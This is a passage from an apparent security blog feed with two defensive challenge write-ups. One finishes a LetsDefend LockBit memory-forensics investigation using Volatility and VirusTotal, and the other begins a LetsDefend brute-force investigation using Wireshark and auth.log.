href=&#34;https://www.virustotal.com/gui/file/19ca5aa4cd62929afb255d2b38e70fd3143e3b181889e84348a5c896e577d708&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.virustotal.com/gui/file/19ca5aa4cd62929afb255d2b38e70fd3143e3b181889e84348a5c896e577d708&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://www.virustotal.com/gui/file/19ca5aa4cd62929afb255d2b38e70fd3143e3b181889e84348a5c896e577d708&#34;  title=&#34;https://www.virustotal.com/gui/file/19ca5aa4cd62929afb255d2b38e70fd3143e3b181889e84348a5c896e577d708&#34;&#xA;     target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;&lt;em&gt;VirusTotal&lt;/em&gt;&lt;/strong&gt;&#xA;VirusTotalwww.virustotal.com&lt;/a&gt;&lt;a class=&#34;link&#34; href=&#34;https://www.virustotal.com/gui/file/19ca5aa4cd62929afb255d2b38e70fd3143e3b181889e84348a5c896e577d708&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;472px&#34; data-flex-grow=&#34;197&#34; height=&#34;406&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-lockbit-challenge-walkthrough/dab5c97b228f4b3de5d25515b1a47489_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Bingo! By switching from &lt;em&gt;Volatility3&lt;/em&gt; to &lt;em&gt;Volatility2&lt;/em&gt; to run the process dump, we&amp;rsquo;ve located the correct &lt;em&gt;VirusTotal&lt;/em&gt; report and corresponding &lt;em&gt;TLSH!&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1548px&#34; data-flex-grow=&#34;645&#34; height=&#34;124&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-lockbit-challenge-walkthrough/e554fd1ea1bd1db2899226dec3baa707_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-5-which-mitre-attck-technique-id-was-used-by-the-ransomware-to-perform-privilege-escalation&#34;&gt;Question 5: Which MITRE ATT&amp;amp;CK technique ID was used by the ransomware to perform privilege escalation?&#xA;&lt;/h3&gt;&lt;p&gt;Now that we have a new &lt;em&gt;VirusTotal&lt;/em&gt; report to review, let&amp;rsquo;s analyze its behavior, focusing on the &lt;strong&gt;&lt;em&gt;Behaviors&lt;/em&gt;&lt;/strong&gt; &amp;gt; &lt;strong&gt;&lt;em&gt;MITRE ATT&amp;amp;CK Tactics and Techniques&lt;/em&gt;&lt;/strong&gt; section. We&amp;rsquo;re looking for &lt;em&gt;privilege escalation&lt;/em&gt; techniques, so expand the &lt;em&gt;privilege escalation&lt;/em&gt; header to see all the observed tactics and techniques used by the malware:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;517px&#34; data-flex-grow=&#34;215&#34; height=&#34;371&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-lockbit-challenge-walkthrough/d50ad3d647492764b5c478d8c1401185_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;VirusTotal Behaviors &amp;gt; MITRE ATT&amp;amp;CK Tactics and Techniques&lt;/p&gt;&#xA;&lt;p&gt;At this point in our analysis, we could be searching for any of the listed techniques to answer &lt;strong&gt;Question 5.&lt;/strong&gt; To narrow it down further, check the next section, &lt;strong&gt;&lt;em&gt;Malware Behavior Catalog Tree&lt;/em&gt;&lt;/strong&gt;&lt;em&gt;,&lt;/em&gt; focusing again on the &lt;em&gt;Privilege Escalation&lt;/em&gt; behaviors.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;545px&#34; data-flex-grow=&#34;227&#34; height=&#34;352&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-lockbit-challenge-walkthrough/8c10ba9e19e6900adab6636f59baab50_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;VirusTotal Behaviors &amp;gt; Malware Behavior Catalog Tree&lt;/p&gt;&#xA;&lt;p&gt;Comparing the two sections we do see some overlap in the listed techniques. Since the question is asking (and only has room for) the &lt;em&gt;technique ID&lt;/em&gt; (&lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/techniques/T1543/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;&lt;em&gt;T1543&lt;/em&gt;&lt;/strong&gt;&lt;/a&gt;) and not the sub-technique, let&amp;rsquo;s check our work and see if we found the correct answer&amp;hellip;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;517px&#34; data-flex-grow=&#34;215&#34; height=&#34;371&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-lockbit-challenge-walkthrough/19a400b039208e0a3b4eda049f64f007_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;VirusTotal Behaviors &amp;gt; MITRE ATT&amp;amp;CK Tactics and Techniques &amp;gt; &lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/techniques/T1543/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;Create or Modify System Process (T1543)&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;2064px&#34; data-flex-grow=&#34;860&#34; height=&#34;93&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-lockbit-challenge-walkthrough/80b7b0923de91a950b7d846914156722_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-6-what-is-the-sha256-hash-of-the-ransom-note-dropped-by-themalware&#34;&gt;Question 6: What is the SHA256 hash of the ransom note dropped by the malware?&#xA;&lt;/h3&gt;&lt;p&gt;Next, scroll down to the &lt;strong&gt;&lt;em&gt;File system actions &amp;gt; Files Dropped&lt;/em&gt;&lt;/strong&gt; section to see the observed file activity. We&amp;rsquo;re looking for anything dropped by the malware that resembles a &lt;em&gt;ransom note&lt;/em&gt;. This will help identify the note&amp;rsquo;s name, which we can then search for in the memory dump using &lt;em&gt;Volatility2&lt;/em&gt;. You&amp;rsquo;ll quickly notice that there are dozens of instances of a &lt;em&gt;ransom note-y&lt;/em&gt; type files, &lt;em&gt;Restore-My-Files.txt.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;184px&#34; data-flex-grow=&#34;76&#34; height=&#34;799&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-lockbit-challenge-walkthrough/674f0f57680bddb071812c52e51a373c_MD5.png&#34; width=&#34;615&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Dropped Files Summary from VirusTotal&lt;/p&gt;&#xA;&lt;p&gt;In the same way that we handled &lt;strong&gt;Question 3&lt;/strong&gt;, let&amp;rsquo;s jump back into &lt;em&gt;Volatility2&lt;/em&gt; and use the &lt;code&gt;[filescan](https://github.com/volatilityfoundation/volatility/wiki/Command-Reference#filescan)&lt;/code&gt; plugin to search the file objects in the image for the &lt;em&gt;ransom note.&lt;/em&gt; Again, we&amp;rsquo;ll use grep to filter the results matching the name of the ransom note:&lt;/p&gt;&#xA;&lt;p&gt;vol.py -f Lockbit.vmem &amp;ndash;profile=Win7SP1x64 filescan | grep -i &amp;ldquo;Restore&amp;rdquo;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1617px&#34; data-flex-grow=&#34;674&#34; height=&#34;178&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-lockbit-challenge-walkthrough/5d98217245ff91d0a579f059aa84ac51_MD5.png&#34; srcset=&#34;https://stumblesec.com/posts/letsdefend-lockbit-challenge-walkthrough/5d98217245ff91d0a579f059aa84ac51_MD5_hu_d9b74c59e3039649.png 800w, https://stumblesec.com/posts/letsdefend-lockbit-challenge-walkthrough/5d98217245ff91d0a579f059aa84ac51_MD5.png 1200w&#34; width=&#34;1200&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Unfortunately, we don&amp;rsquo;t find anything that matches the string. So, let&amp;rsquo;s pivot to the &lt;code&gt;[mftparser](https://github.com/volatilityfoundation/volatility/wiki/Command-Reference#mftparser)&lt;/code&gt; plugin to scan the &lt;em&gt;Master File Table (MFT)&lt;/em&gt; for the artifact:&lt;/p&gt;&#xA;&lt;p&gt;vol.py -f Lockbit.vmem &amp;ndash;profile=Win7SP1x64 mftparser | grep &amp;ldquo;Restore&amp;rdquo;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;594px&#34; data-flex-grow=&#34;247&#34; height=&#34;323&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-lockbit-challenge-walkthrough/a02f90410904bbe9b066900c531506bb_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;While this looks more promising and confirms the activity on the victim&amp;rsquo;s device, we have no way of extracting the files to calculate the &lt;em&gt;SHA256 hash&lt;/em&gt; that is needed to answer the question.&lt;/p&gt;&#xA;&lt;p&gt;Returning to &lt;em&gt;VirusTotal;&lt;/em&gt; this becomes a process of elimination using the pre-existing analysis results. Starting at the top of the &lt;em&gt;dropped files&lt;/em&gt; list, expand the first entry, &amp;quot; # &amp;ldquo;Restore-My-Files.txt,&amp;ldquo;to reveal the available &lt;em&gt;SHA256 hashes.&lt;/em&gt; Let&amp;rsquo;s try each hash to see if any work.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;500px&#34; data-flex-grow=&#34;208&#34; height=&#34;371&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-lockbit-challenge-walkthrough/fa84555d68acab028dd399cf06213c35_MD5.png&#34; width=&#34;773&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Luckily, the first &amp;quot; # &amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;dropped&amp;rdquo;&#xA;ransom note in the list is the one we are looking for!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;2021px&#34; data-flex-grow=&#34;842&#34; height=&#34;95&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-lockbit-challenge-walkthrough/01bd3699c023372431d4475cb108997e_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-7-what-is-the-name-of-the-registry-key-edited-by-the-ransomware-during-the-attack-to-apply-persistence-on-the-infectedsystem&#34;&gt;Question 7: What is the name of the registry key edited by the ransomware during the attack to apply persistence on the infected system?&#xA;&lt;/h3&gt;&lt;p&gt;Finally, let&amp;rsquo;s continue using the &lt;em&gt;VirusTotal&lt;/em&gt; report and analyze the persistence mechanisms used by the malware. Looking at the _MITRE ATT&amp;amp;CK Tactics and Techniques s_ection again, we&amp;rsquo;ll find several observed techniques listed, but only one referencing the &lt;em&gt;Windows Registry.&lt;/em&gt; This is a common persistence method where a threat actor might use a run key to execute an application when a user logs in (&lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/techniques/T1547/001/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;em&gt;MITRE ATT&amp;amp;CK — T1547.001&lt;/em&gt;&lt;/a&gt;.)&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;790px&#34; data-flex-grow=&#34;329&#34; height=&#34;243&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-lockbit-challenge-walkthrough/11688efb16ee3c7d481e6879d55ae6e7_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Finding the relevant technique is a good start, but let&amp;rsquo;s see if &lt;em&gt;VirusTotal&lt;/em&gt; can provide any more information about the created &lt;em&gt;registry key.&lt;/em&gt; The next place to check is the &lt;strong&gt;Crowdsourced Sigma Rules&lt;/strong&gt; section**.** These &lt;em&gt;Sigma rules&lt;/em&gt; are open-source threat detection rules and can be extremely useful when applied to the &lt;em&gt;VirusTotal&lt;/em&gt; analysis. For example, let&amp;rsquo;s open the rule hit for &lt;em&gt;CurrentVersion Autorun Keys Modification:&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1054px&#34; data-flex-grow=&#34;439&#34; height=&#34;273&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-lockbit-challenge-walkthrough/cacb7d1351ca8405d16e00cc0f6da73c_MD5.png&#34; srcset=&#34;https://stumblesec.com/posts/letsdefend-lockbit-challenge-walkthrough/cacb7d1351ca8405d16e00cc0f6da73c_MD5_hu_80b594bf03bce7c.png 800w, https://stumblesec.com/posts/letsdefend-lockbit-challenge-walkthrough/cacb7d1351ca8405d16e00cc0f6da73c_MD5.png 1200w&#34; width=&#34;1200&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;The matching rule contains a &lt;em&gt;TargetObject&lt;/em&gt; for the &lt;em&gt;Autorun key&lt;/em&gt; modification. At the very end, we can see the very suspicious key object name — this could be what we&amp;rsquo;re looking for. Let&amp;rsquo;s double-confirm by scrolling down &lt;strong&gt;&lt;em&gt;Registry Actions &amp;gt; Registry Keys Set&lt;/em&gt;&lt;/strong&gt; section and see if this key appears again:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;558px&#34; data-flex-grow=&#34;232&#34; height=&#34;344&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-lockbit-challenge-walkthrough/e9cde142db9993440517b001ec1e5bb5_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Since we&amp;rsquo;ve seen this key referenced twice and the location matches a known adversary &lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/techniques/T1547/001/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;technique&lt;/a&gt;, I think we&amp;rsquo;ve found our answer! Let&amp;rsquo;s submit the flag and wrap up our investigation!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1920px&#34; data-flex-grow=&#34;800&#34; height=&#34;100&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-lockbit-challenge-walkthrough/88f9386411fb67ab99d016d0f2b9b9d5_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;conclusion&#34;&gt;Conclusion:&#xA;&lt;/h3&gt;&lt;p&gt;Mission accomplished! With the help of &lt;em&gt;Volatility,&lt;/em&gt; we&amp;rsquo;ve successfully identified the malware process and found the file hash of the executable to determine its &lt;em&gt;ransomware&lt;/em&gt; family. After that, we turned to &lt;em&gt;VirusTotal&lt;/em&gt; to reveal more details about the malware including how it elevates privileges and stays persistent on the system. Now that we have scoped the attack and completed our objectives let&amp;rsquo;s close out this walkthrough of the &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/challenge/lockbit&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;LockBit Challenge&lt;/strong&gt;&lt;/a&gt;!&lt;/p&gt;&#xA;&lt;p&gt;A big thank you to &lt;a class=&#34;link&#34; href=&#34;https://letsdefend.io/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;LetsDefend&lt;/strong&gt;&lt;/a&gt;, for another engaging and challenging lab scenario. This was a great learning opportunity because I hit a couple stumbling blocks particularly trying to uncover the &lt;em&gt;TLSH&lt;/em&gt; of the malware binary. I was really interested in this question since I was unfamiliar with what a &lt;em&gt;TLSH&lt;/em&gt; is and because the challenge didn&amp;rsquo;t specify any recommended tools, needing to pivot from &lt;em&gt;Volatility3&lt;/em&gt; to &lt;em&gt;Volatility2&lt;/em&gt; was an unexpected twist — I suspect this lab was designed with the older version in mind. But, this was a great example of the importance of staying flexible during an investigation — I&amp;rsquo;ve done a string of &lt;em&gt;Volatility&lt;/em&gt; labs recently so I had gotten into a routine using &lt;em&gt;Volatility3&lt;/em&gt; and didn&amp;rsquo;t even consider choosing &lt;em&gt;Volatility2&lt;/em&gt; until a couple of hours of being stuck on that question — newer doesn&amp;rsquo;t always mean better and it&amp;rsquo;s a good reminder to check my own confirmation biases.&lt;/p&gt;&#xA;&lt;p&gt;Thanks for the support and going through this investigation with me. Remember, if you found this walkthrough helpful don&amp;rsquo;t forget to &lt;strong&gt;give it a clap&lt;/strong&gt;! Your feedback really is invaluable and helps fuel my commitment to support your journey in the security community. Cybersecurity is a team sport and we&amp;rsquo;re in this together!&lt;/p&gt;&#xA;&lt;p&gt;Until next week&amp;rsquo;s challenge — stay curious and be safe out there!&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;tools--references&#34;&gt;Tools &amp;amp; References:&#xA;&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;VirusTotal (.&lt;em&gt;img&lt;/em&gt;):&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://www.virustotal.com/gui/file/5988e75518b2f365671dc49da18b5a70274351721f1f3a8f8f7bf32984e4024c&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.virustotal.com/gui/file/5988e75518b2f365671dc49da18b5a70274351721f1f3a8f8f7bf32984e4024c&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;VirusTotal (&lt;em&gt;.dat&lt;/em&gt;):&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://www.virustotal.com/gui/file/cea3e8a3e541ae4c928c3cd33f6772f1a69746393ac1a5c4575379a09a92d1e1&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.virustotal.com/gui/file/cea3e8a3e541ae4c928c3cd33f6772f1a69746393ac1a5c4575379a09a92d1e1&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Trend Micro&lt;/strong&gt;: &lt;a class=&#34;link&#34; href=&#34;https://www.trendmicro.com/en_us/research/17/c/smart-whitelisting-using-locality-sensitive-hashing.html&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;Smart Whitelisting Using Locality Sensitive Hashing | Trend Micro (US)&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Volatility GitHub Issues:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://github.com/volatilityfoundation/volatility3/issues/160&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://github.com/volatilityfoundation/volatility3/issues/160&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;VirusTotal (&lt;em&gt;executable.900.exe&lt;/em&gt;):&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://www.virustotal.com/gui/file/19ca5aa4cd62929afb255d2b38e70fd3143e3b181889e84348a5c896e577d708&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.virustotal.com/gui/file/19ca5aa4cd62929afb255d2b38e70fd3143e3b181889e84348a5c896e577d708&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;MITRE ATT&amp;amp;CK — Create or Modify System Process (T1543):&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/techniques/T1543/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://attack.mitre.org/techniques/T1543/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;MITRE ATT&amp;amp;CK — Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder (T1547.001):&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/techniques/T1547/001/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://attack.mitre.org/techniques/T1547/001/&lt;/a&gt;&lt;/p&gt;&#xA;</description>
        </item><item>
            <title>LetsDefend — Brute Force Attacks Challenge Walkthrough</title>
            <link>https://stumblesec.com/posts/letsdefend-brute-force-attacks-challenge-walkthrough/</link>
            <pubDate>Sun, 15 Sep 2024 00:00:00 +0000</pubDate>
            <guid>https://stumblesec.com/posts/letsdefend-brute-force-attacks-challenge-walkthrough/</guid>
            <description>&lt;img src=&#34;https://stumblesec.com/posts/letsdefend-brute-force-attacks-challenge-walkthrough/b0f75b57a683cc8fea309bad944c1c7a_MD5.png&#34; alt=&#34;Featured image of post LetsDefend — Brute Force Attacks Challenge Walkthrough&#34; /&gt;&lt;h3 id=&#34;letsdefend-brute-force-attacks-challenge-walkthrough&#34;&gt;LetsDefend— Brute Force Attacks Challenge Walkthrough&#xA;&lt;/h3&gt;&lt;h4 id=&#34;investigating-a-brute-force-attack-with-wireshark-andauthlog&#34;&gt;Investigating a Brute Force Attack with Wireshark and Auth.log&#xA;&lt;/h4&gt;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;459px&#34; data-flex-grow=&#34;191&#34; height=&#34;366&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-brute-force-attacks-challenge-walkthrough/b0f75b57a683cc8fea309bad944c1c7a_MD5.png&#34; width=&#34;700&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Image Credit: &lt;a class=&#34;link&#34; href=&#34;https://letsdefend.io/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://letsdefend.io/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;introduction&#34;&gt;Introduction:&#xA;&lt;/h3&gt;&lt;p&gt;Welcome to my weekly walkthrough! Imagine this: a web server has been compromised, and you&amp;rsquo;re handed a network packet capture file along with the server&amp;rsquo;s authentication log to figure out what was accessed and how it happened. If this sounds exciting to you, you&amp;rsquo;ve stumbled on the right blog!&lt;/p&gt;&#xA;&lt;p&gt;This week&amp;rsquo;s mission is the &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/challenge/brute-force-attacks&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Brute Force Attacks&lt;/strong&gt;&lt;/a&gt; incident response challenge from &lt;a class=&#34;link&#34; href=&#34;https://letsdefend.io/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;LetsDefend&lt;/strong&gt;&lt;/a&gt;&lt;strong&gt;.&lt;/strong&gt; To solve this challenge, we&amp;rsquo;ll use &lt;em&gt;Wireshark&lt;/em&gt; to discover the scope of a brute force attack, including the server&amp;rsquo;s &lt;em&gt;IP&lt;/em&gt;, the targeted directory, the number of login attempts made, and which accounts were ultimately compromised. But that&amp;rsquo;s not all. Using the web server&amp;rsquo;s &lt;em&gt;auth.log&lt;/em&gt; file, we&amp;rsquo;ll also determine if the attacker was targeting &lt;em&gt;SSH&lt;/em&gt; and if they were able to brute force their way into any accounts. Sounds like a fun time, right? Let&amp;rsquo;s get to it!&lt;/p&gt;&#xA;&lt;p&gt;And hey, if you find this walkthrough helpful in leveling up your skills or getting you through a tricky question, &lt;strong&gt;please give it a clap&lt;/strong&gt;! Your feedback lets me know that I helped you out on your security journey. Thanks for reading!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;316px&#34; data-flex-grow=&#34;131&#34; height=&#34;347&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-brute-force-attacks-challenge-walkthrough/2c0e2568feb58615221f769166084286_MD5.png&#34; width=&#34;458&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Challenge Link:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/challenge/brute-force-attacks&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://app.letsdefend.io/challenge/brute-force-attacks&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;challenge-scenario&#34;&gt;Challenge Scenario:&#xA;&lt;/h3&gt;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;Our web server has been compromised, and it&amp;rsquo;s up to you to investigate the breach. Dive into the system, analyze logs, dissect network traffic, and uncover clues to identify the attacker and determine the extent of the damage. Are you up for the challenge?&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;question-1-what-is-the-ip-address-of-the-server-targeted-by-the-attackers-brute-force-attack&#34;&gt;Question 1: What is the IP address of the server targeted by the attacker&amp;rsquo;s brute-force attack?&#xA;&lt;/h3&gt;&lt;p&gt;Let&amp;rsquo;s get going! The first thing we need to do is extract the &lt;em&gt;BruteForce.7z archive&lt;/em&gt; from within the &lt;em&gt;ChallengeFile&lt;/em&gt; folder on the Desktop. Once it&amp;rsquo;s extracted, we&amp;rsquo;ll have two evidence files:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;661px&#34; data-flex-grow=&#34;275&#34; height=&#34;186&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-brute-force-attacks-challenge-walkthrough/3f5a5bd2d44ceb78d00b49c75c081310_MD5.png&#34; width=&#34;513&#34;&gt;&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;em&gt;BruteForce.pcap&lt;/em&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;em&gt;auth.log&lt;/em&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;The first file, &lt;em&gt;BruteForce.pcap&lt;/em&gt; is a network packet capture file that we can open with &lt;em&gt;Wireshark.&lt;/em&gt; The second, &lt;em&gt;auth.log,&lt;/em&gt; is the web server&amp;rsquo;s authentication log that will help us find successful and failed logins. Throughout this investigation, we&amp;rsquo;ll use both the web server log and the network traffic log to investigate.&lt;/p&gt;&#xA;&lt;p&gt;To tackle &lt;strong&gt;Question 1&lt;/strong&gt;, let&amp;rsquo;s check out &lt;em&gt;BruteForce.pcap&lt;/em&gt; first. We can double-click the file to open it &lt;em&gt;Wireshark&lt;/em&gt; where we can start to analyze the packets.&lt;/p&gt;&#xA;&lt;p&gt;Since there are thousands of packets to sort through, let&amp;rsquo;s start with a birds-eye view to understand what the IP addresses have the most traffic. 